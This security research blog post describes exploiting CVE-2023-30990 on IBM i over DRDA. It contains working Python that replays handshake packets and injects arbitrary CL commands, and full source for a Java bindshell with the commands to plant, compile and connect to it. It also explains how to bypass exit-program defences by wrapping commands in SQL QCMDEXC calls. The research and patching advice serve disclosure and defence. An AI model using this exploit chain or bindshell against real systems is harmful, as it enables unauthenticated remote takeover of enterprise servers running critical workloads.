Exploit development for IBM i

Exploit development for IBM i

pz 2025-09-04    

Intro

At TROOPERS24, we demonstrated how IBM i systems – still widely used in enterprise environments – can be compromised in both authenticated and unauthenticated scenarios, using only built-in services and a basic understanding of the underlying mechanisms. Despite being labeled “legacy,” these systems remain active in finance, logistics, and manufacturing, often handling critical workloads with little attention paid to their security posture.

In our original write-up, we presented CVE-2023-30990, a vulnerability in IBM i’s Distributed Data Management (DDM) server that allows unauthenticated remote CL command execution. That exploit provided a straightforward way to achieve code execution, but it was blind: we could issue commands, but we had no feedback on their success or failure.

The real breakthrough came when we moved beyond “can we execute?” and started asking “can we bypass the built-in defenses?” IBM i administrators have long relied on exit programs as their primary safeguard against abuse of remote services like DDM and DRDA. These hooks are meant to enforce access control, log activity, or block unwanted requests – effectively serving as the last line of defense for many organizations. Our research showed that this trust is often misplaced. We developed techniques to bypass improperly configured exit programs, allowing our payloads to reach the system even in environments where administrators believed they were protected.

Rebuilding the DRDA Conversation

The exploit starts with the DRDA handshake. This part is simple: the first three packets exchanged during a DRDA session – EXCSAT, ACCSEC, and SECCHK – contain fixed data. In our case, we used Wireshark to capture a working session and dumped the raw packet bytes for replay.

DRDA S38CMD in Wireshark
DRDA S38CMD in Wireshark

In Python, we recreated the handshake like this:

import socket, binascii

sockfd = socket.create_connection(("target", 446))

# EXCSAT
sockfd.send(binascii.unhexlify(
    "007ed0010000007810410009115ee3c2d6e7f2000b114700070009d8c1e2006014041403000314230003140500031406000314070003147400051458000114570003140c000314190003141e000314220003240f0003143200031433000314400001143b0003240700031463000314650003143c0003147f000414a00004"
))

# ACCSEC
sockfd.send(binascii.unhexlify(
    "001cd00100010016106d000611a20006000c11dc0000017fdb25cb5e"
))

# SECCHK
sockfd.send(binascii.unhexlify(
    "002ad00100000024106e000611a20006000e11a0e4e2c5d9c2f140404040000c11a1d3836b559964b999"
))

Once these packets are sent, the target IBM i system accepts our connection, and we can inject our own CL commands as DRDA payloads.

Constructing Arbitrary CL Commands

The fourth packet in the flow contains the actual command we want to run. In the original PoC, this was a simple CRTSRCPF command. By examining the Wireshark packets, we get the structure:

DRDA (Unknown (0xd006))
    DDM (Unknown (0xd006))
        Length: 42
        Magic: 0xd0
        Format: 0x01, DSS type: RQSDSS
        CorrelId: 2
        Length2: 36
        Code point: Unknown (0xd006)
    Parameter (Unknown (0xd103))
        Length: 32
        Code point: Unknown (0xd103)
        Data (EBCDIC): CRTSRCPF FILE(QGPL/TESTDRDA)

To dynamically generate such a packet, we only had to calculate the length and encode the CL command string in EBCDIC (cp500). We used Python to prepare the packet on the fly:

cmd = "CRTSRCPF FILE(QGPL/TESTDRDA)"

frame  = struct.pack(">H", len(cmd) + 14) + b"\xd0\x01\x00\x02"
frame += struct.pack(">H", len(cmd) + 8)  + b"\xd0\x06"
frame += struct.pack(">H", len(cmd) + 4)  + b"\xd1\x03"
frame += cmd.encode("cp500")

sockfd.send(frame)

This reliably executed arbitrary CL commands on the remote system, but we still had no output.

Turning RCE into a Shell

In most IBM i environments we assess, internet access is restricted and reverse shells are a non-starter, especially when you’re operating behind a VPN. We needed something that worked entirely within the target environment: a bindshell. It had to be low-footprint, easy to deploy, and fully self-contained.

Java is typically installed by default, runs well in the PASE environment, and offers precise control over I/O streams and character encoding. We created a Java bindshell that listens on a TCP port and spawns a local shell to process commands. The source code was uploaded using the same DRDA channel, like this:

STRQSH CMD('echo "..." > /tmp/Bindshell.java')

The only obstacle was the encoding. The file was saved in EBCDIC, but javac assumed ASCII by default. As expected, the compiler threw encoding errors.

The fix was straightforward: we used the -encoding cp500 command line option during compilation, telling javac to treat the file as EBCDIC. That resolved the compilation issue, but still failed at runtime due to garbled input and output. We had to adjust the bind shell itself to use EBCDIC when reading and writing streams.

Here’s the version of the Java bind shell that worked reliably on IBM i:

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.ServerSocket;
import java.net.Socket;

public class Bindshell {
    public static void main(String[] args) throws IOException, InterruptedException {
        ServerSocket server = new ServerSocket(4444);
        Socket client = server.accept();

        InputStreamReader in = new InputStreamReader(client.getInputStream());
        BufferedReader bri = new BufferedReader(in);
        PrintWriter out = new PrintWriter(client.getOutputStream(), true);

        String str = "";

        while (!str.matches("exit")) {
            str = bri.readLine();
            String[] cmd = {"/bin/sh", "-c", str};
            Process p = Runtime.getRuntime().exec(cmd);

            InputStreamReader i = new InputStreamReader(p.getInputStream(), "cp500");
            BufferedReader br = new BufferedReader(i);
            String line;

            while ((line = br.readLine()) != null) {
                out.println(line);
            }
        }

        in.close();
        out.close();
        client.close();
    }
}

We compiled it with:

javac -encoding cp500 /tmp/Bindshell.java

Once the compiled class was ready, we launched it via:

STRQSH CMD('java -cp /tmp Bindshell')

From our attacking machine, connecting was as simple as:

nc -v target 4444

And just like that, we had an interactive shell with full command output, running entirely within IBM i’s own environment, with no need for external binaries or reverse connections.

CVE-2023-30990 was already dangerous in its original blind RCE form. But by understanding the protocol structure, working around encoding issues, and creatively combining native features like STRQSH and Java, we were able to turn a limited vulnerability into a fully functional shell that works even in tightly controlled enterprise networks. This technique is easy to reproduce and surprisingly stealthy. It doesn’t rely on privilege escalation, payload staging, or exploiting deeper flaws – just a misconfigured service and the ability to speak DRDA.

It also reinforces a broader point we’ve made before: IBM i isn’t immune to the kinds of offensive operations red teams conduct every day on Windows and Linux. It just speaks a different language. We’ll continue to explore IBM i from both protocol and post-exploitation perspectives. If your organization is still running these systems – and especially if DRDA is exposed externally – it’s time to start asking hard questions.

CVE-2023-30990 Continued: Command Execution via SQL on IBM i

The previous exploit relied on the ability to send arbitrary CL commands by crafting a valid DRDA request invoking the S38CMD interface.

After publishing that method, we began exploring alternate paths – specifically whether SQL-based exploitation was possible. DRDA natively supports SQL execution with QCMDEXC() which is a valid, built-in SQL procedure. This meant that instead of reverse engineering low-level DRDA command formats, we could simply issue valid SQL statements over DRDA, potentially evading command filters or exit point protections configured to catch S38CMD use.

Capturing a DRDA SQL Session

To build this new attack vector, we first needed to observe what a normal SQL command looks like over DRDA. For this, we created a test environment with a dummy remote database entry and an associated server authentication record. The following CL commands configured everything we needed:

ADDRDBDIRE RDB(TEST) RMTLOCNAME('192.168.11.34') RMTLOCNAME('TEST') TEXT('Remote test DB')
ADDSVRAUTE USRPRF(USERB1) SERVER(TEST) PASSWORD(*************)

Then, we turned on IP-level traffic capture using the IBM i integrated trace facility. This allowed us to capture and analyze the DRDA traffic without relying on external tools or mirroring:

TRCCNN SET(*ON) TRCTYPE(*IP) TRCFULL(*STOPTRC) TRCTBL(OBJCTCPIP) SIZE(256 *MB) TCPDTA(*N () () *N '192.168.11.34')

With the trace running, we launched STRSQL and executed the SQL commands manually to simulate the kind of queries we’d want to send over the wire:

CONNECT TO TEST USER USERB1 USING '*************'
CALL QCMDEXC('CRTSRCPF FILE(QGPL/TESTCMD)', 27)
DISCONNECT TEST

After executing the above, we disabled tracing and saved the results to a PCAP file:

TRCCNN SET(*OFF) TRCTBL(OBJCTCPIP) OUTPUT(*STMF) TOSTMF('/tmp/OBJCTCPIP.pcap' *YES)

DRDA SQL Command Execution Anatomy

The captured PCAP revealed a more complex structure than what we saw in the original S38CMD-based attack.

DRDA with SQL in Wireshark
DRDA with SQL in Wireshark

However, the underlying principle remained the same. We could extract the connection metadata – source system, target RDB name, and user profile – as well as the command string passed to QCMDEXC().

The DRDA packet includes a standard RQSDSS header, followed by a series of codepoints representing the SQL statement execution flow. Among these, we found the encoded CALL QCMDEXC(…) command, including the length-prefixed CL string in EBCDIC.

With this structure isolated, we knew we could replicate it manually or even craft automated payloads. The real kicker? Exit programs configured to detect or block DRDA command execution did not trigger when the same command was wrapped in an SQL call. While some exit points attempt to monitor command execution interfaces, they often ignore SQL invocation paths entirely. This subtle difference is critical. Organizations relying solely on exit point filtering to stop DRDA-based RCE may be completely blind to command execution via DRDA SQL.

Outro

Installing the latest PTFs is the most effective way to address vulnerabilities like CVE-2023-30990. Still, we see many environments where patching is delayed or not an option due to operational constraints. In such cases, the risks are real, and relying solely on exit programs or other quick fixes provides only a false sense of security. For those who want to dig deeper, the proof-of-concept exploits are available in our GitHub repository.